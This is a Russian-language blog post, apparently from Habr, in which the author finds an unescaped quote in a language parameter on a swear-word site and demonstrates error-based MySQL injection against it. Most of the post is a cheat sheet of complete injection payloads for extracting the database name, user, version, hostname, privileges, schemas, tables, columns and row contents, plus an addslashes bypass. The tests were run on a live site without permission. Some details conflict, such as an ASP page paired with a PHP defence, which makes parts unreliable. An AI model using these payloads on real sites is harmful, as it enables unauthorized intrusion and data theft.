Error based MySQL injection или не надо ругаться

в 6:15, , рубрики: mysql, безопасность, горе-программисты, информационная безопасность, ошибки

Несколько дней назад был случайно обнаружен сайт с ругательствами на разных языках. Допустим, его адрес example.com.

На этом сайте есть список языков, ругательства на которых были внесены в «базу знаний». URL для доступа к каждому языку формировался так:
http://example.com/index.asp?language=[lang_name]#[чтотоеще]

Решил просмотреть доступные языки. Мало ли, может что-то интересное найдется.

Кто смотрел «Аватар», про синих больших человечков, помнит, что человечки, аватары, говорили на языке На'ви. Английский вариант — Na'vi. К моему огромному удивлению, в списке языков значился Na'vi и я, это было бы не Ъ, решил глянуть ругательства на этом языке. Однако, я не смог этого сделать.

MySQL запросов заботливо вывалил мне в браузер ошибку 80040e14. Построитель запросов, как оказалось, тупо одставлял значение [lang_name] в шаблон запроса и кавычку, используемую в назывании языка, он не экранировал, как так можно?

Пытливый мозг сразу же найдет для себя тут повод немного потестировать и не сможет удержаться от всевозможных испытаний.

Так как я не являюсь специалистом в области информационной безопасности, равно как и человеком, который работает с SQL базами, то некоторые описанные моменты мной были либо найдены в сети без объяснений и я не могу объяснить это сам, либо просто подобрано по аналогии.

Есть вероятность, что мы имеем возможность сделать т.н. основанную на ошибке MySQL инъекцию с помощью строкового параметра запроса.

Начнем по порядку.

Попробуем сперва понять, есть ли смысл в наших дальнейших действиях и есть ли в них смысл. Раз уж у нас возникла проблема с кавычкой, значит мы можем вклиниться в середину запроса и попробовать выполнить что-нибудь свое.

Итак.
Первый запрос, проверим слепую инъекцию:
' and 'x'='x
Полный URL:
http://example.com/index.asp?language=' and 'x'='x

Не работает? Ужас. Попробуем изловчиться и заменим одинарную кавычку ' знаком 0xbf5c27 (¿’ в ASCII), чтобы пройти через PHP'шную защиту addslashes().

Yes! Запрос прошел и выполнился. Открылась страница сайта и в списке фраз по языку видим нечто похожее на "&expr 268409241 — 2 &".

Радоваться пока рано, так как дальнейшие действия наши будут плотно завязаны на существование базы information_schema.

Выполнение наших запросов будет проводиться с помощью функций HEX() и CAST(), чтобы избавиться от мусора и проблем с формированием строк. Поэтому необходимые нам ответы будут выводиться в HEX'е и нужно будет переводить в ASCII. Есть много замечательных инструментов для этого в сети, поэтому ничего страшного.

Двигаемся дальше.

Попробуем узнать текущую БД.
Запрос:

' and (SELECT 1 FROM(SELECT COUNT(*),CONCAT((SELECT (SELECT CONCAT(0x7e,0x27,HEX(CAST(DATABASE() as CHAR)),0x27,0x7e)) FROM information_schema.tables LIMIT 0,1),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a) and '1'='1

Ответ приходит, это хорошо, можем идти дальше. Достаем cheatsheet для этой уязвимости и делаем все последовательно и по порядку:

Поиск текущего пользователя:

1' and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,Hex(cast(user() as char)),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1

Версия MySQL:

1' and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,Hex(cast(version() as char)),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1

Текущая база:

1' and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,Hex(cast(database() as char)),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1

Пользователь системы:

1' and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,Hex(cast(system_user() as char)),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1

Имя хоста:

1' and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,Hex(cast(@@hostname as char)),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1

Дериктория MySQL

1' and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,Hex(cast(@@basedir as char)),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1

Пользователь базы

1' and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,0x27,Hex(cast(GRANTEE as char)),0x27,0x7e) FROM information_schema.user_privileges LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1

Поиск баз
Примечание: продолжайте инкрементировать n, например: n, n+1, n+2,… пока не получите ответ.
Предполагается, что n = 0

1' and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,0x27,Hex(cast(GRANTEE as char)),0x27,0x7e) FROM information_schema.user_privileges LIMIT n,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1
1' and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,0x27,Hex(cast(schema_name as char)),0x27,0x7e) FROM information_schema.schemata LIMIT n+1,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1
1' and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,0x27,Hex(cast(schema_name as char)),0x27,0x7e) FROM information_schema.schemata LIMIT n+2,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1

Подсчет таблиц в БД:
Примечание: пусть ответ будет присвоен переменной n, m = 0;
hex_code_of_database_name заменить на нужное значение

1' and(select 1 from(select count(*),concat((select (select (SELECT concat(0x7e,0x27,count(table_name),0x27,0x7e) FROM `information_schema`.tables WHERE table_schema=0xhex_code_of_database_name)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1

Получение имен всех таблиц:
Примечание: m-n подразумевает результат подсчетов значения при m=0, m+1…n-1
hex_code_of_database_name заменить на нужное значение
m-n заменить на нужное значение

1' and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,0x27,Hex(cast(table_name as char)),0x27,0x7e) FROM information_schema.tables Where table_schema=0xhex_code_of_database_name limit m-n,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1

Получение количества столбцов в таблице:
Примечание: hex_code_of_database_name заменить на нужное значение;
hex_code_of_table_name заменить на нужное значение;
Пусть ответ будет присвоен переменной n, m = 0;

1' and(select 1 from(select count(*),concat((select (select (SELECT concat(0x7e,0x27,count(column_name),0x27,0x7e) FROM `information_schema`.columns WHERE table_schema=0xhex_code_of_database_name AND table_name=0xhex_code_of_table_name)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1

Получение имен столбцов в выбранной таблице
Примечание: m-n подразумевает результат подсчетов значения при m=0, m+1…n-1
hex_code_of_database_name и hex_code_of_table_name заменить на нужное значение
m-n заменить на нужное значение

1' and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,0x27,Hex(cast(column_name as char)),0x27,0x7e) FROM information_schema.columns Where table_schema=0xhex_code_of_database_name AND table_name=0xhex_code_of_table_name limit m-n,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1

Получение количества записей в выбранной колонке
Примечание: database_name и table_name заменить на нужное значение

1' and(select 1 from(select count(*),concat((select (select (SELECT concat(0x7e,0x27,count(*),0x27,0x7e) FROM `database_name`.table_name)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1

Получение записей выбранной колонки
Примечание: m-n подразумевает результат подсчетов значения при m=0, m+1…n-1
database_name, table_name, column_name заменить на нужное значение
m-n заменить на нужное значение

1' and(select 1 from(select count(*),concat((select (select (SELECT concat(0x7e,0x27,Hex(cast(table_name.column_name as char)),0x27,0x7e) FROM `database_name`.table_name LIMIT m-n,1) ) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1

По понятным причинам код для изменения записей публиковать я не буду.

В итоге мною было поправлено имя Na'Vi на NaVi и я смог зайти посмотреть, что же там было. А там было пусто…

Автор:

Источник

* - обязательные к заполнению поля